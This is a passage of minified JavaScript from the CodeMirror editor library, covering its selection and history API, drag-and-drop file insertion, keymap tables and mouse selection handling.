this.sel.somethingSelected()},setCursor:tr(function(e,t,n){Yr(this,lt(this,"number"==typeof e?tt(e,t||0):e),null,n)}),setSelection:tr(function(e,t,n){Yr(this,lt(this,e),lt(this,t||e),n)}),extendSelection:tr(function(e,t,n){Kr(this,lt(this,e),t&<(this,t),n)}),extendSelections:tr(function(e,t){$r(this,ut(this,e),t)}),extendSelectionsBy:tr(function(e,t){var n=J(this.sel.ranges,e);$r(this,ut(this,n),t)}),setSelections:tr(function(e,t,n){if(e.length){for(var o=[],r=0;r<e.length;r++)o[r]=new wr(lt(this,e[r].anchor),lt(this,e[r].head));null==t&&(t=Math.min(e.length-1,this.sel.primIndex)),Qr(this,Cr(this.cm,o,t),n)}}),addSelection:tr(function(e,t,n){var o=this.sel.ranges.slice(0);o.push(new wr(lt(this,e),lt(this,t||e))),Qr(this,Cr(this.cm,o,o.length-1),n)}),getSelection:function(e){for(var t,n=this.sel.ranges,o=0;o<n.length;o++){var r=$e(this,n[o].from(),n[o].to());t=t?t.concat(r):r}return!1===e?t:t.join(e||this.lineSeparator())},getSelections:function(e){for(var t=[],n=this.sel.ranges,o=0;o<n.length;o++){var r=$e(this,n[o].from(),n[o].to());!1!==e&&(r=r.join(e||this.lineSeparator())),t[o]=r}return t},replaceSelection:function(e,t,n){for(var o=[],r=0;r<this.sel.ranges.length;r++)o[r]=e;this.replaceSelections(o,t,n||"+input")},replaceSelections:tr(function(e,t,n){for(var o=[],r=this.sel,i=0;i<r.ranges.length;i++){var a=r.ranges[i];o[i]={from:a.from(),to:a.to(),text:this.splitLines(e[i]),origin:n}}for(var s=t&&"end"!=t&&function(e,t,n){for(var o=[],r=tt(e.first,0),i=r,a=0;a<t.length;a++){var s=t[a],l=Mr(s.from,r,i),u=Mr(Or(s),r,i);if(r=s.to,i=u,"around"==n){var c=e.sel.ranges[a],d=nt(c.head,c.anchor)<0;o[a]=new wr(d?u:l,d?l:u)}else o[a]=new wr(l,l)}return new kr(o,e.sel.primIndex)}(this,o,t),l=o.length-1;l>=0;l--)li(this,o[l]);s?Jr(this,s):this.cm&&jo(this.cm)}),undo:tr(function(){ci(this,"undo")}),redo:tr(function(){ci(this,"redo")}),undoSelection:tr(function(){ci(this,"undo",!0)}),redoSelection:tr(function(){ci(this,"redo",!0)}),setExtending:function(e){this.extend=e},getExtending:function(){return this.extend},historySize:function(){for(var e=this.history,t=0,n=0,o=0;o<e.done.length;o++)e.done[o].ranges||++t;for(var r=0;r<e.undone.length;r++)e.undone[r].ranges||++n;return{undo:t,redo:n}},clearHistory:function(){var e=this;this.history=new Fr(this.history.maxGeneration),Nr(this,function(t){return t.history=e.history},!0)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(e){return e&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(e){return this.history.generation==(e||this.cleanGeneration)},getHistory:function(){return{done:zr(this.history.done),undone:zr(this.history.undone)}},setHistory:function(e){var t=this.history=new Fr(this.history.maxGeneration);t.done=zr(e.done.slice(0),null,!0),t.undone=zr(e.undone.slice(0),null,!0)},setGutterMarker:tr(function(e,t,n){return vi(this,e,"gutter",function(e){var o=e.gutterMarkers||(e.gutterMarkers={});return o[t]=n,!n&&oe(o)&&(e.gutterMarkers=null),!0})}),clearGutter:tr(function(e){var t=this;this.iter(function(n){n.gutterMarkers&&n.gutterMarkers[e]&&vi(t,n,"gutter",function(){return n.gutterMarkers[e]=null,oe(n.gutterMarkers)&&(n.gutterMarkers=null),!0})})}),lineInfo:function(e){var t;if("number"==typeof e){if(!Ze(this,e))return null;if(t=e,!(e=Ke(this,e)))return null}else if(null==(t=Je(e)))return null;return{line:t,handle:e,text:e.text,gutterMarkers:e.gutterMarkers,textClass:e.textClass,bgClass:e.bgClass,wrapClass:e.wrapClass,widgets:e.widgets}},addLineClass:tr(function(e,t,n){return vi(this,e,"gutter"==t?"gutter":"class",function(e){var o="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass";if(e[o]){if(O(n).test(e[o]))return!1;e[o]+=" "+n}else e[o]=n;return!0})}),removeLineClass:tr(function(e,t,n){return vi(this,e,"gutter"==t?"gutter":"class",function(e){var o="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass",r=e[o];if(!r)return!1;if(null==n)e[o]=null;else{var i=r.match(O(n));if(!i)return!1;var a=i.index+i[0].length;e[o]=r.slice(0,i.index)+(i.index&&a!=r.length?" ":"")+r.slice(a)||null}return!0})}),addLineWidget:tr(function(e,t,n){return function(e,t,n,o){var r=new _i(e,n,o),i=e.cm;return i&&r.noHScroll&&(i.display.alignWidgets=!0),vi(e,t,"widget",function(t){var n=t.widgets||(t.widgets=[]);if(null==r.insertAt?n.push(r):n.splice(Math.min(n.length-1,Math.max(0,r.insertAt)),0,r),r.line=t,i&&!Ht(e,t)){var o=Ut(t)<e.scrollTop;Ye(t,t.height+wn(r)),o&&Po(i,r.height),i.curOp.forceUpdate=!0}return!0}),i&&un(i,"lineWidgetAdded",i,r,"number"==typeof t?t:Je(t)),r}(this,e,t,n)}),removeLineWidget:function(e){e.clear()},markText:function(e,t,n){return Ei(this,lt(this,e),lt(this,t),n,n&&n.type||"range")},setBookmark:function(e,t){var n={replacedWith:t&&(null==t.nodeType?t.widget:t),insertLeft:t&&t.insertLeft,clearWhenEmpty:!1,shared:t&&t.shared,handleMouseEvents:t&&t.handleMouseEvents};return Ei(this,e=lt(this,e),e,n,"bookmark")},findMarksAt:function(e){e=lt(this,e);var t=[],n=Ke(this,e.line).markedSpans;if(n)for(var o=0;o<n.length;++o){var r=n[o];(null==r.from||r.from<=e.ch)&&(null==r.to||r.to>=e.ch)&&t.push(r.marker.parent||r.marker)}return t},findMarks:function(e,t,n){e=lt(this,e),t=lt(this,t);var o=[],r=e.line;return this.iter(e.line,t.line+1,function(i){var a=i.markedSpans;if(a)for(var s=0;s<a.length;s++){var l=a[s];null!=l.to&&r==e.line&&e.ch>=l.to||null==l.from&&r!=e.line||null!=l.from&&r==t.line&&l.from>=t.ch||n&&!n(l.marker)||o.push(l.marker.parent||l.marker)}++r}),o},getAllMarks:function(){var e=[];return this.iter(function(t){var n=t.markedSpans;if(n)for(var o=0;o<n.length;++o)null!=n[o].from&&e.push(n[o].marker)}),e},posFromIndex:function(e){var t,n=this.first,o=this.lineSeparator().length;return this.iter(function(r){var i=r.text.length+o;if(i>e)return t=e,!0;e-=i,++n}),lt(this,tt(n,t))},indexFromPos:function(e){var t=(e=lt(this,e)).ch;if(e.line<this.first||e.ch<0)return 0;var n=this.lineSeparator().length;return this.iter(this.first,e.line,function(e){t+=e.text.length+n}),t},copy:function(e){var t=new xi(Xe(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);return t.scrollTop=this.scrollTop,t.scrollLeft=this.scrollLeft,t.sel=this.sel,t.extend=!1,e&&(t.history.undoDepth=this.history.undoDepth,t.setHistory(this.getHistory())),t},linkedDoc:function(e){e||(e={});var t=this.first,n=this.first+this.size;null!=e.from&&e.from>t&&(t=e.from),null!=e.to&&e.to<n&&(n=e.to);var o=new xi(Xe(this,t,n),e.mode||this.modeOption,t,this.lineSep,this.direction);return e.sharedHist&&(o.history=this.history),(this.linked||(this.linked=[])).push({doc:o,sharedHist:e.sharedHist}),o.linked=[{doc:this,isParent:!0,sharedHist:e.sharedHist}],function(e,t){for(var n=0;n<t.length;n++){var o=t[n],r=o.find(),i=e.clipPos(r.from),a=e.clipPos(r.to);if(nt(i,a)){var s=Ei(e,i,a,o.primary,o.primary.type);o.markers.push(s),s.parent=o}}}(o,Si(this)),o},unlinkDoc:function(e){if(e instanceof Oa&&(e=e.doc),this.linked)for(var t=0;t<this.linked.length;++t){var n=this.linked[t];if(n.doc==e){this.linked.splice(t,1),e.unlinkDoc(this),Ti(Si(this));break}}if(e.history==this.history){var o=[e.id];Nr(e,function(e){return o.push(e.id)},!0),e.history=new Fr(null),e.history.done=zr(this.history.done,o),e.history.undone=zr(this.history.undone,o)}},iterLinkedDocs:function(e){Nr(this,e)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(e){return this.lineSep?e.split(this.lineSep):Ne(e)},lineSeparator:function(){return this.lineSep||"\n"},setDirection:tr(function(e){var t;"rtl"!=e&&(e="ltr"),e!=this.direction&&(this.direction=e,this.iter(function(e){return e.order=null}),this.cm&&Qo(t=this.cm,function(){Ar(t),co(t)}))})}),xi.prototype.eachLine=xi.prototype.iter;var Pi=0;function ji(e){var t=this;if(Li(t),!ve(t,e)&&!Cn(t.display,e)){ke(e),s&&(Pi=+new Date);var n=lo(t,e,!0),o=e.dataTransfer.files;if(n&&!t.isReadOnly())if(o&&o.length&&window.FileReader&&window.File)for(var r=o.length,i=Array(r),a=0,l=function(){++a==r&&Zo(t,function(){var e={from:n=lt(t.doc,n),to:n,text:t.doc.splitLines(i.filter(function(e){return null!=e}).join(t.doc.lineSeparator())),origin:"paste"};li(t.doc,e),Jr(t.doc,Er(lt(t.doc,n),lt(t.doc,Or(e))))})()},u=function(e,n){if(t.options.allowDropFileTypes&&-1==V(t.options.allowDropFileTypes,e.type))l();else{var o=new FileReader;o.onerror=function(){return l()},o.onload=function(){var e=o.result;/[\x00-\x08\x0e-\x1f]{2}/.test(e)?l():(i[n]=e,l())},o.readAsText(e)}},c=0;c<o.length;c++)u(o[c],c);else{if(t.state.draggingText&&t.doc.sel.contains(n)>-1)return t.state.draggingText(e),void setTimeout(function(){return t.display.input.focus()},20);try{var d=e.dataTransfer.getData("Text");if(d){var p;if(t.state.draggingText&&!t.state.draggingText.copy&&(p=t.listSelections()),Zr(t.doc,Er(n,n)),p)for(var f=0;f<p.length;++f)fi(t.doc,"",p[f].anchor,p[f].head,"drag");t.replaceSelection(d,"around","paste"),t.display.input.focus()}}catch(e){}}}}function Li(e){e.display.dragCursor&&(e.display.lineSpace.removeChild(e.display.dragCursor),e.display.dragCursor=null)}function Ni(t){if(e.getElementsByClassName){for(var n=e.getElementsByClassName("CodeMirror"),o=[],r=0;r<n.length;r++){var i=n[r].CodeMirror;i&&o.push(i)}o.length&&o[0].operation(function(){for(var e=0;e<o.length;e++)t(o[e])})}}var Di=!1;function Ai(){var e;Di||(fe(window,"resize",function(){null==e&&(e=setTimeout(function(){e=null,Ni(Fi)},100))}),fe(window,"blur",function(){return Ni(Oo)}),Di=!0)}function Fi(e){var t=e.display;t.cachedCharWidth=t.cachedTextHeight=t.cachedPaddingH=null,t.scrollbarsClipped=!1,e.setSize()}for(var Ii={3:"Pause",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",106:"*",107:"=",109:"-",110:".",111:"/",145:"ScrollLock",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",224:"Mod",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"},Ri=0;Ri<10;Ri++)Ii[Ri+48]=Ii[Ri+96]=String(Ri);for(var Bi=65;Bi<=90;Bi++)Ii[Bi]=String.fromCharCode(Bi);for(var Wi=1;Wi<=12;Wi++)Ii[Wi+111]=Ii[Wi+63235]="F"+Wi;var Vi={};function Hi(e){var t,n,o,r,i=e.split(/-(?!$)/);e=i[i.length-1];for(var a=0;a<i.length-1;a++){var s=i[a];if(/^(cmd|meta|m)$/i.test(s))r=!0;else if(/^a(lt)?$/i.test(s))t=!0;else if(/^(c|ctrl|control)$/i.test(s))n=!0;else{if(!/^s(hift)?$/i.test(s))throw new Error("Unrecognized modifier name: "+s);o=!0}}return t&&(e="Alt-"+e),n&&(e="Ctrl-"+e),r&&(e="Cmd-"+e),o&&(e="Shift-"+e),e}function Gi(e){var t={};for(var n in e)if(e.hasOwnProperty(n)){var o=e[n];if(/^(name|fallthrough|(de|at)tach)$/.test(n))continue;if("..."==o){delete e[n];continue}for(var r=J(n.split(" "),Hi),i=0;i<r.length;i++){var a=void 0,s=void 0;i==r.length-1?(s=r.join(" "),a=o):(s=r.slice(0,i+1).join(" "),a="...");var l=t[s];if(l){if(l!=a)throw new Error("Inconsistent bindings for "+s)}else t[s]=a}delete e[n]}for(var u in t)e[u]=t[u];return e}function Ui(e,t,n,o){var r=(t=$i(t)).call?t.call(e,o):t[e];if(!1===r)return"nothing";if("..."===r)return"multi";if(null!=r&&n(r))return"handled";if(t.fallthrough){if("[object Array]"!=Object.prototype.toString.call(t.fallthrough))return Ui(e,t.fallthrough,n,o);for(var i=0;i<t.fallthrough.length;i++){var a=Ui(e,t.fallthrough[i],n,o);if(a)return a}}}function zi(e){var t="string"==typeof e?e:Ii[e.keyCode];return"Ctrl"==t||"Alt"==t||"Shift"==t||"Mod"==t}function qi(e,t,n){var o=e;return t.altKey&&"Alt"!=o&&(e="Alt-"+e),(C?t.metaKey:t.ctrlKey)&&"Ctrl"!=o&&(e="Ctrl-"+e),(C?t.ctrlKey:t.metaKey)&&"Mod"!=o&&(e="Cmd-"+e),!n&&t.shiftKey&&"Shift"!=o&&(e="Shift-"+e),e}function Ki(e,t){if(p&&34==e.keyCode&&e.char)return!1;var n=Ii[e.keyCode];return null!=n&&!e.altGraphKey&&(3==e.keyCode&&e.code&&(n=e.code),qi(n,e,t))}function $i(e){return"string"==typeof e?Vi[e]:e}function Xi(e,t){for(var n=e.doc.sel.ranges,o=[],r=0;r<n.length;r++){for(var i=t(n[r]);o.length&&nt(i.from,Y(o).to)<=0;){var a=o.pop();if(nt(a.from,i.from)<0){i.from=a.from;break}}o.push(i)}Qo(e,function(){for(var t=o.length-1;t>=0;t--)fi(e.doc,"",o[t].from,o[t].to,"+delete");jo(e)})}function Yi(e,t,n){var o=ae(e.text,t+n,n);return o<0||o>e.text.length?null:o}function Ji(e,t,n){var o=Yi(e,t.ch,n);return null==o?null:new tt(t.line,o,n<0?"after":"before")}function Qi(e,t,n,o,r){if(e){"rtl"==t.doc.direction&&(r=-r);var i=de(n,t.doc.direction);if(i){var a,s=r<0?Y(i):i[0],l=r<0==(1==s.level),u=l?"after":"before";if(s.level>0||"rtl"==t.doc.direction){var c=Nn(t,n);a=r<0?n.text.length-1:0;var d=Dn(t,c,a).top;a=se(function(e){return Dn(t,c,e).top==d},r<0==(1==s.level)?s.from:s.to-1,a),"before"==u&&(a=Yi(n,a,1))}else a=r<0?s.to:s.from;return new tt(o,a,u)}}return new tt(o,r<0?n.text.length:0,r<0?"before":"after")}Vi.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},Vi.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},Vi.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars","Ctrl-O":"openLine"},Vi.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},Vi.default=y?Vi.macDefault:Vi.pcDefault;var Zi={selectAll:ai,singleSelection:function(e){return e.setSelection(e.getCursor("anchor"),e.getCursor("head"),U)},killLine:function(e){return Xi(e,function(t){if(t.empty()){var n=Ke(e.doc,t.head.line).text.length;return t.head.ch==n&&t.head.line<e.lastLine()?{from:t.head,to:tt(t.head.line+1,0)}:{from:t.head,to:tt(t.head.line,n)}}return{from:t.from(),to:t.to()}})},deleteLine:function(e){return Xi(e,function(t){return{from:tt(t.from().line,0),to:lt(e.doc,tt(t.to().line+1,0))}})},delLineLeft:function(e){return Xi(e,function(e){return{from:tt(e.from().line,0),to:e.from()}})},delWrappedLineLeft:function(e){return Xi(e,function(t){var n=e.charCoords(t.head,"div").top+5,o=e.coordsChar({left:0,top:n},"div");return{from:o,to:t.from()}})},delWrappedLineRight:function(e){return Xi(e,function(t){var n=e.charCoords(t.head,"div").top+5,o=e.coordsChar({left:e.display.lineDiv.offsetWidth+100,top:n},"div");return{from:t.from(),to:o}})},undo:function(e){return e.undo()},redo:function(e){return e.redo()},undoSelection:function(e){return e.undoSelection()},redoSelection:function(e){return e.redoSelection()},goDocStart:function(e){return e.extendSelection(tt(e.firstLine(),0))},goDocEnd:function(e){return e.extendSelection(tt(e.lastLine()))},goLineStart:function(e){return e.extendSelectionsBy(function(t){return ea(e,t.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(e){return e.extendSelectionsBy(function(t){return ta(e,t.head)},{origin:"+move",bias:1})},goLineEnd:function(e){return e.extendSelectionsBy(function(t){return function(e,t){var n=Ke(e.doc,t),o=function(e){for(var t;t=Ft(e);)e=t.find(1,!0).line;return e}(n);return o!=n&&(t=Je(o)),Qi(!0,e,n,t,-1)}(e,t.head.line)},{origin:"+move",bias:-1})},goLineRight:function(e){return e.extendSelectionsBy(function(t){var n=e.cursorCoords(t.head,"div").top+5;return e.coordsChar({left:e.display.lineDiv.offsetWidth+100,top:n},"div")},q)},goLineLeft:function(e){return e.extendSelectionsBy(function(t){var n=e.cursorCoords(t.head,"div").top+5;return e.coordsChar({left:0,top:n},"div")},q)},goLineLeftSmart:function(e){return e.extendSelectionsBy(function(t){var n=e.cursorCoords(t.head,"div").top+5,o=e.coordsChar({left:0,top:n},"div");return o.ch<e.getLine(o.line).search(/\S/)?ta(e,t.head):o},q)},goLineUp:function(e){return e.moveV(-1,"line")},goLineDown:function(e){return e.moveV(1,"line")},goPageUp:function(e){return e.moveV(-1,"page")},goPageDown:function(e){return e.moveV(1,"page")},goCharLeft:function(e){return e.moveH(-1,"char")},goCharRight:function(e){return e.moveH(1,"char")},goColumnLeft:function(e){return e.moveH(-1,"column")},goColumnRight:function(e){return e.moveH(1,"column")},goWordLeft:function(e){return e.moveH(-1,"word")},goGroupRight:function(e){return e.moveH(1,"group")},goGroupLeft:function(e){return e.moveH(-1,"group")},goWordRight:function(e){return e.moveH(1,"word")},delCharBefore:function(e){return e.deleteH(-1,"codepoint")},delCharAfter:function(e){return e.deleteH(1,"char")},delWordBefore:function(e){return e.deleteH(-1,"word")},delWordAfter:function(e){return e.deleteH(1,"word")},delGroupBefore:function(e){return e.deleteH(-1,"group")},delGroupAfter:function(e){return e.deleteH(1,"group")},indentAuto:function(e){return e.indentSelection("smart")},indentMore:function(e){return e.indentSelection("add")},indentLess:function(e){return e.indentSelection("subtract")},insertTab:function(e){return e.replaceSelection("\t")},insertSoftTab:function(e){for(var t=[],n=e.listSelections(),o=e.options.tabSize,r=0;r<n.length;r++){var i=n[r].from(),a=B(e.getLine(i.line),i.ch,o);t.push(X(o-a%o))}e.replaceSelections(t)},defaultTab:function(e){e.somethingSelected()?e.indentSelection("add"):e.execCommand("insertTab")},transposeChars:function(e){return Qo(e,function(){for(var t=e.listSelections(),n=[],o=0;o<t.length;o++)if(t[o].empty()){var r=t[o].head,i=Ke(e.doc,r.line).text;if(i)if(r.ch==i.length&&(r=new tt(r.line,r.ch-1)),r.ch>0)r=new tt(r.line,r.ch+1),e.replaceRange(i.charAt(r.ch-1)+i.charAt(r.ch-2),tt(r.line,r.ch-2),r,"+transpose");else if(r.line>e.doc.first){var a=Ke(e.doc,r.line-1).text;a&&(r=new tt(r.line,1),e.replaceRange(i.charAt(0)+e.doc.lineSeparator()+a.charAt(a.length-1),tt(r.line-1,a.length-1),r,"+transpose"))}n.push(new wr(r,r))}e.setSelections(n)})},newlineAndIndent:function(e){return Qo(e,function(){for(var t=e.listSelections(),n=t.length-1;n>=0;n--)e.replaceRange(e.doc.lineSeparator(),t[n].anchor,t[n].head,"+input");t=e.listSelections();for(var o=0;o<t.length;o++)e.indentLine(t[o].from().line,null,!0);jo(e)})},openLine:function(e){return e.replaceSelection("\n","start")},toggleOverwrite:function(e){return e.toggleOverwrite()}};function ea(e,t){var n=Ke(e.doc,t),o=Bt(n);return o!=n&&(t=Je(o)),Qi(!0,e,o,t,1)}function ta(e,t){var n=ea(e,t.line),o=Ke(e.doc,n.line),r=de(o,e.doc.direction);if(!r||0==r[0].level){var i=Math.max(n.ch,o.text.search(/\S/)),a=t.line==n.line&&t.ch<=i&&t.ch;return tt(n.line,a?0:i,n.sticky)}return n}function na(e,t,n){if("string"==typeof t&&!(t=Zi[t]))return!1;e.display.input.ensurePolled();var o=e.display.shift,r=!1;try{e.isReadOnly()&&(e.state.suppressEdits=!0),n&&(e.display.shift=!1),r=t(e)!=G}finally{e.display.shift=o,e.state.suppressEdits=!1}return r}var oa=new W;function ra(e,t,n,o){var r=e.state.keySeq;if(r){if(zi(t))return"handled";if(/\'$/.test(t)?e.state.keySeq=null:oa.set(50,function(){e.state.keySeq==r&&(e.state.keySeq=null,e.display.input.reset())}),ia(e,r+" "+t,n,o))return!0}return ia(e,t,n,o)}function ia(e,t,n,o){var r=function(e,t,n){for(var o=0;o<e.state.keyMaps.length;o++){var r=Ui(t,e.state.keyMaps[o],n,e);if(r)return r}return e.options.extraKeys&&Ui(t,e.options.extraKeys,n,e)||Ui(t,e.options.keyMap,n,e)}(e,t,o);return"multi"==r&&(e.state.keySeq=t),"handled"==r&&un(e,"keyHandled",e,t,n),"handled"!=r&&"multi"!=r||(ke(n),ko(e)),!!r}function aa(e,t){var n=Ki(t,!0);return!!n&&(t.shiftKey&&!e.state.keySeq?ra(e,"Shift-"+n,t,function(t){return na(e,t,!0)})||ra(e,n,t,function(t){if("string"==typeof t?/^go[A-Z]/.test(t):t.motion)return na(e,t)}):ra(e,n,t,function(t){return na(e,t)}))}var sa=null;function la(t){var n=this;if(!(t.target&&t.target!=n.display.input.getField()||(n.curOp.focus=N(),ve(n,t)))){s&&l<11&&27==t.keyCode&&(t.returnValue=!1);var r=t.keyCode;n.display.shift=16==r||t.shiftKey;var i=aa(n,t);p&&(sa=i?r:null,!i&&88==r&&!Ae&&(y?t.metaKey:t.ctrlKey)&&n.replaceSelection("",null,"cut")),o&&!y&&!i&&46==r&&t.shiftKey&&!t.ctrlKey&&e.execCommand&&e.execCommand("cut"),18!=r||/\bCodeMirror-crosshair\b/.test(n.display.lineDiv.className)||function(t){var n=t.display.lineDiv;function o(t){18!=t.keyCode&&t.altKey||(T(n,"CodeMirror-crosshair"),me(e,"keyup",o),me(e,"mouseover",o))}D(n,"CodeMirror-crosshair"),fe(e,"keyup",o),fe(e,"mouseover",o)}(n)}}function ua(e){16==e.keyCode&&(this.doc.sel.shift=!1),ve(this,e)}function ca(e){var t=this;if(!(e.target&&e.target!=t.display.input.getField()||Cn(t.display,e)||ve(t,e)||e.ctrlKey&&!e.altKey||y&&e.metaKey)){var n=e.keyCode,o=e.charCode;if(p&&n==sa)return sa=null,void ke(e);if(!p||e.which&&!(e.which<10)||!aa(t,e)){var r=String.fromCharCode(null==o?n:o);"\b"!=r&&(function(e,t,n){return ra(e,"'"+n+"'",t,function(t){return na(e,t,!0)})}(t,e,r)||t.display.input.onKeyPress(e))}}}var da,pa,fa=function(e,t,n){this.time=e,this.pos=t,this.button=n};function ha(e){var t=this,n=t.display;if(!(ve(t,e)||n.activeTouch&&n.input.supportsTouch()))if(n.input.ensurePolled(),n.shift=e.shiftKey,Cn(n,e))u||(n.scroller.draggable=!1,setTimeout(function(){return n.scroller.draggable=!0},100));else if(!va(t,e)){var o=lo(t,e),r=Se(e),i=o?function(e,t){var n=+new Date;return pa&&pa.compare(n,e,t)?(da=pa=null,"triple"):da&&da.compare(n,e,t)?(pa=new fa(n,e,t),da=null,"double"):(da=new fa(n,e,t),pa=null,"single")}(o,r):"single";window.focus(),1==r&&t.state.selectingText&&t.state.selectingText(e),o&&function(e,t,n,o,r){var i="Click";return"double"==o?i="Double"+i:"triple"==o&&(i="Triple"+i),ra(e,qi(i=(1==t?"Left":2==t?"Middle":"Right")+i,r),r,function(t){if("string"==typeof t&&(t=Zi[t]),!t)return!1;var o=!1;try{e.isReadOnly()&&(e.state.suppressEdits=!0),o=t(e,n)!=G}finally{e.state.suppressEdits=!1}return o})}(t,r,o,i,e)||(1==r?o?function(e,t,n,o){s?setTimeout(I(wo,e),0):e.curOp.focus=N();var r,i=function(e,t,n){var o=e.getOption("configureMouse"),r=o?o(e,t,n):{};if(null==r.unit){var i=_?n.shiftKey&&n.metaKey:n.altKey;r.unit=i?"rectangle":"single"==t?"char":"double"==t?"word":"line"}return(null==r.extend||e.doc.extend)&&(r.extend=e.doc.extend||n.shiftKey),null==r.addNew&&(r.addNew=y?n.metaKey:n.ctrlKey),null==r.moveOnDrag&&(r.moveOnDrag=!(y?n.altKey:n.ctrlKey)),r}(e,n,o),a=e.doc.sel;e.options.dragDrop&&xe&&!e.isReadOnly()&&"single"==n&&(r=a.contains(t))>-1&&(nt((r=a.ranges[r]).from(),t)<0||t.xRel>0)&&(nt(r.to(),t)>0||t.xRel<0)?function(e,t,n,o){var r=e.display,i=!1,a=Zo(e,function(t){u&&(r.scroller.draggable=!1),e.state.draggingText=!1,me(r.wrapper.ownerDocument,"mouseup",a),me(r.wrapper.ownerDocument,"mousemove",c),me(r.scroller,"dragstart",d),me(r.scroller,"drop",a),i||(ke(t),o.addNew||Kr(e.doc,n,null,null,o.extend),u&&!f||s&&9==l?setTimeout(function(){r.wrapper.ownerDocument.body.focus({preventScroll:!0}),r.input.focus()},20):r.input.focus())}),c=function(e){i=i||Math.abs(t.clientX-e.clientX)+Math.abs(t.clientY-e.clientY)>=10},d=function(){return i=!0};u&&(r.scroller.draggable=!0),e.state.draggingText=a,a.copy=!o.moveOnDrag,r.scroller.dragDrop&&r.scroller.dragDrop(),fe(r.wrapper.ownerDocument,"mouseup",a),fe(r.wrapper.ownerDocument,"mousemove",c),fe(r.scroller,"dragstart",d),fe(r.scroller,"drop",a),Co(e),setTimeout(function(){return r.input.focus()},20)}(e,o,t,i):function(e,t,n,o){var r=e.display,i=e.doc;ke(t);var a,s,l=i.sel,u=l.ranges;if(o.addNew&&!o.extend?(s=i.sel.contains(n),a=s>-1?u[s]:new wr(n,n)):(a=i.sel.primary(),s=i.sel.primIndex),"rectangle"==o.unit)o.addNew||(a=new wr(n,n)),n=lo(e,t,!0,!0),s=-1;else{var c=ma(e,n,o.unit);a=o.extend?qr(a,c.anchor,c.head,o.extend):c}o.addNew?-1==s?(s=u.length,Qr(i,Cr(e,u.concat([a]),s),{scroll:!1,origin:"*mouse"})):u.length>1&&u[s].empty()&&"char"==o.unit&&!o.extend?(Qr(i,Cr(e,u.slice(0,s).concat(u.slice(s+1)),0),{scroll:!1,origin:"*mouse"}),l=i.sel):Xr(i,s,a,z):(s=0,Qr(i,new kr([a],0),z),l=i.sel);var d=n;function p(t){if(0!=nt(d,t))if(d=t,"rectangle"==o.unit){for(var r=[],u=e.options.tabSize,c=B(Ke(i,n.line).text,n.ch,u),p=B(Ke(i,t.line).text,t.ch,u),f=Math.min(c,p),h=Math.max(c,p),m=Math.min(n.line,t.line),g=Math.min(e.lastLine(),Math.max(n.line,t.line));m<=g;m++){var v=Ke(i,m).text,b=K(v,f,u);f==h?r.push(new wr(tt(m,b),tt(m,b))):v.length>b&&r.push(new wr(tt(m,b),tt(m,K(v,h,u))))}r.length||r.push(new 